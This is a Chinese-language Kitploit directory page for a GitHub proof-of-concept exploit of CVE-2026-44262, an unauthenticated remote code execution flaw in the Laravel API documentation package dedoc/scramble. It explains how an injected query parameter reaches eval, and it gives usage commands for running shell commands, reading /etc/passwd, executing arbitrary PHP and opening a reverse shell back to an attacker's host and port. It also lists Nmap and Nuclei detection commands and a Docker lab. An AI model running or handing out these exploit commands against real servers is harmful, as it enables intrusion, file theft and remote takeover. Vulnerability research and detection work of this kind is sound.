Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-44262 — dedoc/scramble 中的未认证 RCE — PoC、Nmap NSE 与 Nuclei 模板。 | Kitploit
工具/GitHubGitHub/joshuavanderpoll/cve-2026-44262
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用渗透测试命令与控制远程访问工具Payload 开发
GitHubjoshuavanderpoll/cve-2026-44262

CVE-2026-44262

dedoc/scramble 中的未认证 RCE — PoC、Nmap NSE 与 Nuclei 模板。

查看仓库
254个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

dedoc/scramble RCE (CVE-2026-44262) PoC

Python Nmap NSE Nuclei Template

📜 描述

CVE-2026-44262 是 dedoc/scramble(一个 Laravel API 文档生成器)中的一个未认证远程代码执行漏洞。

NodeRulesEvaluator::doEvaluateExpression() 会在 eval("return $code;") 之前调用 extract($variables)。当控制器将 赋值给名为 的变量并将其用作验证规则时,Scramble 会跟踪该变量并将其传入 eval 作用域。攻击者可以通过向 提供特制的查询参数,使用任意 PHP 覆盖 。

$request->input()
$code
/docs/api.json
$code

受影响版本: dedoc/scramble >=0.13.2, <0.13.22

✨ 功能特性

  • 自动检测 — 自动扫描 OpenAPI 规范以发现易受攻击的参数
  • 时间探测 — 使用 sleep() 进行安全的非破坏性检查,以确认 eval 是否触发
  • 命令执行 — 运行 shell 命令并直接从 HTTP 响应中捕获输出
  • 文件读取 — 读取目标文件系统上的任意文件
  • PHP 代码执行 — 通过 RCE 执行原始 PHP 代码
  • 反弹 Shell — PHP proc_open 反弹 Shell,无需 bash 或 busybox
  • 批量扫描 — 通过文件扫描多个目标
  • 操作系统检测 — 自动检测 Windows/Linux/Darwin 并相应调整有效载荷
  • Nmap NSE — 被动 + 时间检测脚本(http-scramble-rce-detect.nse)
  • Nuclei 模板 — 带时间确认的两步检测(CVE-2026-44262.yaml)

🛠️ 安装

无外部依赖 — 仅使用 Python 标准库。

macOS / Linux

root@kitploit:~
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

Windows

root@kitploit:~
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

⚙️ 用法

root@kitploit:~
usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
                   [--check] [--command CMD] [--code PHP] [--read-file PATH]
                   [--shell] [--lhost HOST] [--lport PORT] [--os OS]
                   [--useragent USERAGENT] [--timeout SECONDS]

检测

root@kitploit:~
# Full detection (timing + exec probe)
python3 CVE-2026-44262.py --target http://example.com/docs/api

# Safe check only — timing probe, no command execution
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

# Override JSON endpoint path
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json

# Bulk scan
python3 CVE-2026-44262.py --targets targets.txt

漏洞利用

root@kitploit:~
# Execute a command
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"

# Read a file
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd

# Execute raw PHP
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"

# Reverse shell (start: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

Nmap 与 Nuclei(被动 + 时间检测,不进行利用)

root@kitploit:~
# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com

# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com

🐋 Docker 实验室

其中包含一个自包含的 Docker 环境,内置易受攻击的应用(dedoc/scramble v0.13.21)。详见 docker/DOCKER.md。

root@kitploit:~
cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

🕵🏼 参考资料

  • dedoc/scramble
  • GitHub 安全公告 — GHSA-4rm2-28vj-fj39
  • NVD — CVE-2026-44262
  • HackIndex.io — CVE-2026-44262

📢 免责声明

本工具仅供教育和研究目的使用。作者不对因使用本工具而造成的任何滥用或损害承担责任。

下载工具